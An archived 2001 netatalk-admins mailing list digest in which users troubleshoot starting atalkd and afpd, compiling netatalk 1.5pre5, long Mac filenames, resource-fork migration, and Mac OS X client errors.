	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 11:11:36 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA02739;
	Mon, 2 Apr 2001 17:07:21 +0200
Message-ID: <3AC895AB.76D4515D@euc.de>
Date: Mon, 02 Apr 2001 17:07:23 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Rory Campbell-Lange <rory@campbell-lange.net>
CC: netatalk-admins@umich.edu
Subject: Re: Can't start netatalk on Debian
References: <20010402155807-r01010600-542d8867@194.159.148.247>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA12845

Try writing

-seed

into your atalkd.conf

you can start atalkd and afpd manually

give atalkd some time to lookup the appletalk net. this can take up to 2 minutes.

if your connections are only via tcp forget about atalkd

just call afpd from the command line



Rory Campbell-Lange wrote:
> 
> Hi
> 
> I'm trying to get netatalk running on a VALinux box running Debian.
> 
> When I run /etc/init.d/netatalk start I get the following errors:
> 
> socket: Invalid argument
> atalkd: can't get interfaces, exiting
>     atalkd afpd papd
> 
> I seem to remember using a gui tool to write the line in atalkd.conf that
> provided the following on a LinuxPPC box I am using elsewhere:
> 
> eth0 -phase 2 -net 6 -addr 6.21 -zone "MHP Main Office"
> 
> However the netatalk docs suggest that this line will be created
> automatically: "If there is no configuration file, atalkd will attempt to
> configure all available interfaces and will create a configuration file".
> However I DO have a config file - it just doesn't have any uncommented
> lines in it. Is this wrong?
> 
> A simple "eth0" in atalkd.conf doesn't work.
> 
> I guess these problems may have something to do with my routing table. I
> don't have a route for localhost, and I'm not sure if the first entry in
> the table is sensible.
> 
> route:
> Destination     GW              Mask
> 194.159.148.140 194.159.148.1   255.255.255.255
> 194.159.148.0   0.0.0.0         255.255.255.0
> 0.0.0.0         194.159.148.1   0.0.0.0
> 
> I'd be grateful for help.
> 
> Rory

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Mon Apr  2 12:19:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA16009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Apr 2001 12:19:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA06309
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Apr 2001 12:19:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA06294
	for netatalk.administrators-members@umich.edu; Mon, 2 Apr 2001 12:19:43 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA06210
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 12:19:42 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA03498
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 18:15:25 +0200
Message-ID: <3AC8A59F.553090BB@euc.de>
Date: Mon, 02 Apr 2001 18:15:27 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: compiling netatalk-1.5pre5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

so..

maybe this helps someone
installing netatalk-1.5pre5 on suse under kernel 2.2.16 on an (don't
laugh) fujitsu siemens C667 as test-server.

I tried this:

changing in ad_double.c line 616 ff

O_RDW to mode
as suggested from Alistair Riddel

then called 

./configure --with-pam --with-flock-locks --enable-suse --enable-pgp-uam

ends up in an nearly working system. ;)

user nobody is capable of reading/writing/replacing files.

other users on the system can login but being killed immediately after that.
the /var/log/messages tells only:

Apr  2 17:13:34 linux PAM-unix2[12648]: session started for user mconin,
service netatalk 
Apr  2 17:13:34 linux afpd[12648]: login mconin (uid 500, gid 100)
Apr  2 17:13:34 linux afpd[12648]: using codepage directory: /etc/atalk/nls/maccode.iso8859-1
Apr  2 17:13:34 linux afpd[12645]: server_child[1] 12648 killed

By the way - afpd asks while starting for 

Apr  2 17:12:03 linux afpd[12641]: uam : Loading (/etc/atalk/uams/uams_dhx.so)
Apr  2 17:12:03 linux afpd[12641]: uam: uam not found (status=-1)

Is this authentification part of the package?

I will keep on checking....
-- 
--schnipp-- 

best regards
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH

mconin@euc.de                    D 50676 Koeln
http://www.euc.de

From netatalk.administrators-errors@umich.edu  Mon Apr  2 19:27:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA29640
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Apr 2001 19:27:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA07798
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Apr 2001 19:27:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA07787
	for netatalk.administrators-members@umich.edu; Mon, 2 Apr 2001 19:27:42 -0400 (EDT)
Received: from apollo.cc.macalester.edu (apollo.cc.macalester.edu [141.140.1.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA07760
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 19:27:41 -0400 (EDT)
Received: from [192.168.1.2] ([141.140.105.41])
 by macalester.edu (PMDF V5.2-32 #38670)
 with ESMTP id <01K1XKNLNODC000089@macalester.edu> for
 netatalk-admins@umich.edu; Mon, 2 Apr 2001 17:27:30 CDT
Date: Mon, 02 Apr 2001 18:27:48 -0500
From: Alon <arohter@macalester.edu>
Subject: Re: 31 Character File Name Length Limit
In-reply-to: <3AC7FE60.FB1EBFAE@arts.usyd.edu.au>
To: netatalk-admins@umich.edu
Message-id: <2688557653.986236068@[192.168.1.2]>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.8 (Win32)
Content-type: text/plain; charset=us-ascii; format=flowed
Content-disposition: inline
Content-transfer-encoding: 7bit

This is a very good point. Mac's truncate Joliet cds on their own, so I 
guess they could probably handle and truncate long-named network 
shares...if they were being shown by the server in the first place.  Does 
anybody know offhand where in the code the hiding of long file names is? 
If I can find the time in the next few weeks I'll have a look, but it'd be 
nice if someone knew where it was already.

aLoN


>
>  I understood MacOS is suppose to handle it by it self - HFS+ supports
> longer names, but Finder doesn't. I seem to recall some time back in the
> dim dark past, NetAtalk sent longer names to Macs, but some Finder
> versions crashed in response instead of truncating the name.
>
>  I guess you could find the bit of code that hides the long names,
> disable it and see how your mac works. Maybee OS9 fixed this problem.
> Classic under OSX beta seems to handle it gracefully.



From netatalk.administrators-errors@umich.edu  Mon Apr  2 21:19:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04934
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Apr 2001 21:19:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA21066
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Apr 2001 21:19:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA21022
	for netatalk.administrators-members@umich.edu; Mon, 2 Apr 2001 21:19:16 -0400 (EDT)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id VAA20956
	for <netatalk-admins@umich.edu>; Mon, 2 Apr 2001 21:19:14 -0400 (EDT)
Received: (qmail 32064 invoked by uid 500); 3 Apr 2001 01:19:13 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15049.9489.642184.611550@h0050da615e79.ne.mediaone.net>
Date: Mon, 2 Apr 2001 21:19:13 -0400
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Mac Conin <mconin@euc.de>, Rory Campbell-Lange <rory@campbell-lange.net>
CC: netatalk-admins@umich.edu
Subject: Re: Can't start netatalk on Debian
In-Reply-To: <3AC895AB.76D4515D@euc.de>
References: <20010402155807-r01010600-542d8867@194.159.148.247>
	<3AC895AB.76D4515D@euc.de>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Mac Conin <mconin@euc.de>
   Date: Mon, 02 Apr 2001 17:07:23 +0200

   if your connections are only via tcp forget about atalkd

I made this same mistake on this list less than a month ago . . .

					-- Bob Rogers

------------------------------------------------------------------------
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Cliff Crawford <cjc26@cornell.edu>, deltor@snafu.de
Subject: Re: very [newbie]
Date: Wed, 7 Mar 2001 11:31:34 -0500

   From: Cliff Crawford <cjc26@cornell.edu>
   Date: Wed, 7 Mar 2001 08:49:34 -0500

   Carsten is correct.  afpd implements the file server for both appletalk
   and tcp, while atalkd implements the AppleTalk networking protocols and
   has nothing to do with file serving itself.  So both need to be running
   to do AppleShare over appletalk.

Oops; sorry, guys.

					-- Bob

From netatalk.administrators-errors@umich.edu  Tue Apr  3 10:11:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21251
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 10:11:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA07303
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 10:11:59 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA07274
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 10:11:58 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAB07222
	for <netatalk-admins@umich.edu>; Tue, 3 Apr 2001 10:11:56 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id PAA11312;
	Tue, 3 Apr 2001 15:11:50 +0100
Date: Tue, 3 Apr 2001 15:11:50 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Alon <arohter@macalester.edu>
cc: netatalk-admins@umich.edu
Subject: Re: 31 Character File Name Length Limit
In-Reply-To: <2688557653.986236068@[192.168.1.2]>
Message-ID: <Pine.LNX.4.21.0104031510370.26285-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Macs don't truncate Joliet filenames; they don't have the capability to
read the Joliet extensions so they use the ISO9660 names which are pretty
much DOS 8.3 format.

On Mon, 2 Apr 2001, Alon wrote:

> This is a very good point. Mac's truncate Joliet cds on their own, so I 
> guess they could probably handle and truncate long-named network 
> shares...if they were being shown by the server in the first place.  Does 
> anybody know offhand where in the code the hiding of long file names is? 
> If I can find the time in the next few weeks I'll have a look, but it'd be 
> nice if someone knew where it was already.

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Tue Apr  3 12:39:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26216
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 12:39:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA20671
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 12:39:09 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA20631
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 12:39:06 -0400 (EDT)
Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA20554
	for <netatalk-admins@umich.edu>; Tue, 3 Apr 2001 12:39:05 -0400 (EDT)
Received: from 208-59-113-219.c3-0.129-ubr2.lnh-129.md.cable.rcn.com ([208.59.113.219] helo=nat1)
	by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5)
	id 14kTpf-0003zq-00 
	for netatalk-admins@umich.edu; Tue, 03 Apr 2001 12:39:03 -0400
Message-ID: <01e401c0bc5c$8e949850$0300a8c0@nat1.rcn.com>
From: "Nathaniel Pendleton" <netatalkbox@pendletonpress.com>
To: <netatalk-admins@umich.edu>
Subject: Re: Newbie Install Help
Date: Tue, 3 Apr 2001 12:38:47 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4

Still no luck. Netatalk is NOT working.
I installed webmin module 0.9 beta to try and solve the config issues.
I repointed the files to "/etc/atalk" instead of "/usr/local/atalkd/etc"
The hand written share was somehow deleted and every effort to create
a new share in webmin fails.  Edit interface says "Error - file not found".

"Start Apple File Sharing" says /usr/sbin/atalkd failed

What is going wrong?

-Nathaniel
-----Original Message-----
From: Nathaniel Pendleton <netatalkbox@pendletonpress.com>
To: netatalk-admins@umich.edu <netatalk-admins@umich.edu>
Date: Monday, April 02, 2001 4:31 AM
Subject: Newbie Install Help


>I am trying to install netatalk on Linux on VA linux 6.2.3 distro
>and the VA linux powertools rpm for netatalk.
>http://www.valinux.com/software/vaload/archive/6.2.3/
>http://ftp.valinux.com/pub/software/VALinux/released/6.2.3/extras/Powertool
s
>/i386/netatalk-1.4b2+asun2.1.3-7.i386.rpm
>
>I read this page and was stumped and as VA Linux who RTFM'd me back here.
>http://www.anders.com/projects/netatalk/
>
>0) Honestly is netatalk reliable for file serving Mac files for a business?
>1.4b2+asun2.1.3-7.i386.rpm?
>1.5pre5?
>netatalk webmin module 0.9?
>
>1) What file system do I use on the netatalk server?  ext2 or what?
>
>2) How do I get netatalk started?
>using VA linux 6.2.3 (redhat 6.2 derivative)
>dmesg has no "AppleTalk" so I insmod appletalk.o
>/etc/services has all the correct stuff
>
>kpackage installed the valinux 1.4b2 package which has:
>/usr/doc/netatalk-1.4b2+asun2.1.3/
>/etc/atalk/
>
>webmin>system>bootupshutdown lists "atalk" being started, and started at
>boot
>
>made macosdata folder in a folder that samba also uses.
>chmod smbuser, chgrp smbusers, my default samba file controls.
>I added to Apple Volumes.default
>/home/data/macosdata "VACell400 MacOS"
>restarted atalk in webmin.
>
>no luck, now what?
>
>-Nathaniel
>
>


From netatalk.administrators-errors@umich.edu  Tue Apr  3 15:04:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29830
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 15:04:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA14221
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 15:04:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA14205
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 15:04:21 -0400 (EDT)
Received: from truth.itfreedom.com (truth.itfreedom.com [206.225.63.176])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA13942
	for <netatalk-admins@umich.edu>; Tue, 3 Apr 2001 15:04:19 -0400 (EDT)
Received: (qmail 24424 invoked from network); 3 Apr 2001 19:04:07 -0000
Received: from unknown (HELO h9k1k2) (192.168.0.46)
  by truth.itfreedom.com with SMTP; 3 Apr 2001 19:04:07 -0000
From: "Bryan Tholen" <bryan@itfreedom.com>
To: <netatalk-admins@umich.edu>
Subject: Netatalk issues
Date: Tue, 3 Apr 2001 14:04:05 -0500
Message-ID: <NEBBKBKBCLBNBCEPNBOLAEIGCHAA.bryan@itfreedom.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal

I have been using DAVE from thursby software with one of my clients running
a linux 2.2.17 server with the netatalk-asun2.1.4. It is a small network
about 30 users; 25 PCs and 5 Mac clients. I have one of the Mac guys running
netatalk for testing and he seems to like it however I have a couple of
problems that I need to work out.

is there anyway to move the resource.frk information stored by DAVE to
.AppleDouble format to maintain the resource fork for all of the files on
the server if we switch to Netatalk? This client has about 15gigs worth of
image files/quark docs that I dont want to have to transfer to a Mac and
back to the server if I can avoid it. I need the resource forks because they
contain preview information for image files and are needed for fonts I am
using.

when copying a folder from the server to a Mac client the hidden folder
.AppleDouble is copied along with it. If you change/delete or add a file to
the folder and copy it back to the server so of the files disappear or are
mangled because of the stale .AppleDouble folder that is copied. Maybe there
is an option on the client to aviod hidden files? If not is there anyway to
turn off transfer of the .AppleDouble folder down to the client?

Is there any option for netatalk to truncate filenames longer than the Mac
limit (31 i believe) so they may be viewed on a Mac client from the server?

BTW, I have upgraded all my clients with the Quark Express 4.11fixit
extension and they seem to be working with out any of the "File is locked"
errors we had seen before. Can anyone else confirm that this extension fixes
the problem? I am still not convinced and have even contemplated moving back
to FLOCKS if the problem pops up again.

Thanks for your time.


From netatalk.administrators-errors@umich.edu  Tue Apr  3 15:19:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00703
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 15:19:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01704
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 15:19:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA01697
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 15:19:34 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA01578
	for <netatalk-admins@umich.edu>; Tue, 3 Apr 2001 15:19:32 -0400 (EDT)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f33JJQe20824;
	Tue, 3 Apr 2001 15:19:27 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id EB600B9E2; Tue,  3 Apr 2001 15:19:25 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id B3A2DB6F9; Tue,  3 Apr 2001 15:19:25 -0400 (EDT)
Date: Tue, 3 Apr 2001 15:19:25 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Nathaniel Pendleton <netatalkbox@pendletonpress.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Newbie Install Help
In-Reply-To: <01e401c0bc5c$8e949850$0300a8c0@nat1.rcn.com>
Message-ID: <Pine.LNX.4.30.0104031510320.20655-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> >0) Honestly is netatalk reliable for file serving Mac files for a business?
> >1.4b2+asun2.1.3-7.i386.rpm?
> >1.5pre5?
> >netatalk webmin module 0.9?

Probably? In my experience 1.4b2+asun is very solid. I've had some
problems with the 1.5pre series, the clients tend to get "Server
unexpectedly quit" messages. Of course, we have some "experimental"
setups... The advantage of the 1.5 series is that they do encrypted
password transport, which you probably want depending on your network.

> >1) What file system do I use on the netatalk server?  ext2 or what?

The file system, in terms of performance, should be the last thing your
worry about. I'd say whatever you have is fine. We run ours off of UFS,
EXT2, and ReiserFs and I can't say it really makes much difference.


> >2) How do I get netatalk started?
> >using VA linux 6.2.3 (redhat 6.2 derivative)
> >dmesg has no "AppleTalk" so I insmod appletalk.o
> >/etc/services has all the correct stuff

Depending on what RPM you installed, you should have an
/etc/rc.d/init.d/atalk. To start it, run

/etc/rc.d/init.d/atalk start

To start at bootup, run

chkconfig --level 345 atalk on

You may also need an entry in /etc/modules.conf to load the appletalk
module, but I *think* the rpm should set that up, depends on where you got
the rpm though...

> >no luck, now what?

What do you mean by no luck?

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Tue Apr  3 15:23:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00912
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 3 Apr 2001 15:23:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07427
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 3 Apr 2001 15:23:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07359
	for netatalk.administrators-members@umich.edu; Tue, 3 Apr 2001 15:23:15 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA07275
	for <Netatalk-Admins@umich.edu>; Tue, 3 Apr 2001 15:23:12 -0400 (EDT)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f33JNBe23529;
	Tue, 3 Apr 2001 15:23:11 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 36D28B9E2; Tue,  3 Apr 2001 15:23:11 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 32730B9E1; Tue,  3 Apr 2001 15:23:11 -0400 (EDT)
Date: Tue, 3 Apr 2001 15:23:11 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Cc: <Netatalk-Admins@umich.edu>
Subject: Re: Mac OS X and netatalk...
In-Reply-To: <p04310100b6eb3c8f0cb6@[192.168.1.201]>
Message-ID: <Pine.LNX.4.30.0104031519560.20655-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


So, what was the version people said worked fine (arg, no archives?)

I haven't had much luck either, the 1.5 series don't cut it and the
1.4b2+asun2.1.3 redhat powertools rpm actually managed to crash the OSX
finder repeatedly... I was briefly excited to learn that the finder
recognizes NFS mounts in the final release, which is at least a temporary
fix, but I have a lot of older files that need to store resource data.

On Sat, 31 Mar 2001, Lorenzo Perone wrote:

> Hi fellow neta-admins,
>
> I've been 'going down deep' into the OSX/netatalk adventure ;-)
>
> I've tried the -DFLOCKS (adding it to the DEFS line - correct?) thing and pre-asun2.1.4-38b_test.
> No success, I get -43 and -37 errors _everywhere_  (uploading and downloading) - looks like an .AppleDouble problem? (thought they were related to resources, those errors).
> But the same dirs used to work perfectly with pre3m (I'll check thisone out, anyway!).
>
> With pre-asun2.1.4-37b it got better:
> Mounts OK, downloads and gives the -43 error only on some files.
> But then, after throwing one copied folder to the trash, when trying to empty it, I get a message with 'not enough privileges to perform operation'.
> Weird enough: I got into the terminal, su-rooted (with an enabled root account, via NetInfoManager).
> This is what I got when I tried to rm the stuff in /Users/lopez/.Trash:
>
> override rwx------  lopez/staff for 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG? y
> rm: 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG: Operation not permitted
>
> I tried to chmod 660 all the stuff in there:
>
> root# chmod -R 660 *
> chmod: 6100's//Preferences/UMAX/VistaScan/Viewer Files/Y9.JPG: Operation not permitted
> sort of weird! How can I get rid of that stuff now??
>
> it could well be that it's the names of that folder I tried with, which contain 'Preferences' and other strange mac chars. Anyway, an ls -la in the undeletable folder items gives:
>
> -rwx------    1 lopez  staff    6988 May 27  1998 Y5_4.JPG
> -rwx------    1 lopez  staff    6940 May 27  1998 Y5_5.JPG
> ....
>
> After testing with other folders, things looked much better, but I still get
> - unsufficient privileges
> - an item with the name 'Icon' already exists
> - some other errors
>
> but with other dirs I did not have the trashing-permission problem........
>
> ....at least, I got to mount the volumes on Mac OS X 10.0.0, which I never got to work with netatalk 1.4.99 and sourceforge-successors.
> I'd be glad if someone has a solution...... anyway, I'm sure as soon as rufustfirefly or asun or anybody else involved will get to reproduce the problems, they'll be solved.
> Damned...... I'd really like to start using OSX now, despite it being some kind of  'Beta 2'.
> I tried hard, with all versions of netatalk I could find. I'm not a C programmer, just a web developer, and sysadmin.
> I compiled mostly on LinuxPPC (cause there I have our most important files).
>
>
> :-(
>
>
>
> Allright, now I'll reboot into macos9, and since it worked so well with OS9, switch back to 1.5pre3........
>
> Lorenzo
>
> p.s.
>
> here's a list of my experiments....... if it can be useful to anybody, anyway. I mean, it can be a reference only to those that see matching experiences in at least 2 cases ;)
>
> === 1.4b2+asun2.1.3: ===
>
> Same experience with the following OSes:
>
> SuSE Linux 6.3/Intel:
> SuSE Linux 7.0/Intel
> SuSE Linux 7.0/PPC
> LinuxPPC 2000 Q4
>
> - distri standard;
> - works with OS9, slow. resource, ownership, ID related problems on OS9;
> - OSX client connects and mounts, but plenty of problems when opening / editing files;
>
> === netatalk-pre-asun2.1.4-38b_test ===
>
> LinuxPPC 2000 Q4
>
> - works with OS9, FAST. seems OK on OS9, but I'd have to make more tests, no time now.
> - OSX client connects and mounts, but -43 and -37 errors EVERYWHERE, also with files without resources or type/creators;
>
> === netatalk-pre-asun2.1.4-37b===
>
> LinuxPPC 2000 Q4
>
> - OS9 not tested yet
> - OSX client connects and mounts, but -43 and -37 errors when copying, but only on some files.
> - When putting things of SOME folders to the trash (looks like folder name problems!), can't empty trash 'not enough privileges'
> - otherwise _very fast_ on OSX, also on many folders and files!
>
> === netatalk-1.4.99-0.20001108 ===
>
> SuSE Linux 6.3/Intel:
> - works with OS9; fast. alias problems;
> - OSX clients get disconnected immediately after share choice;
>
> LinuxPPC 2000 Q4:
> - compiled but didn't work: disconnect upon file share choice with OS9.
>
>
> === netatalk-1.5pre3 ===
>
> SuSE Linux 6.3/Intel:
> - works with OS9; fast. folder alias problems;
> - OSX clients get disconnected immediately after share choice; slow sherlock name searches;
> - best choice for me now (production).
>
> SuSE Linux 7.0/Intel
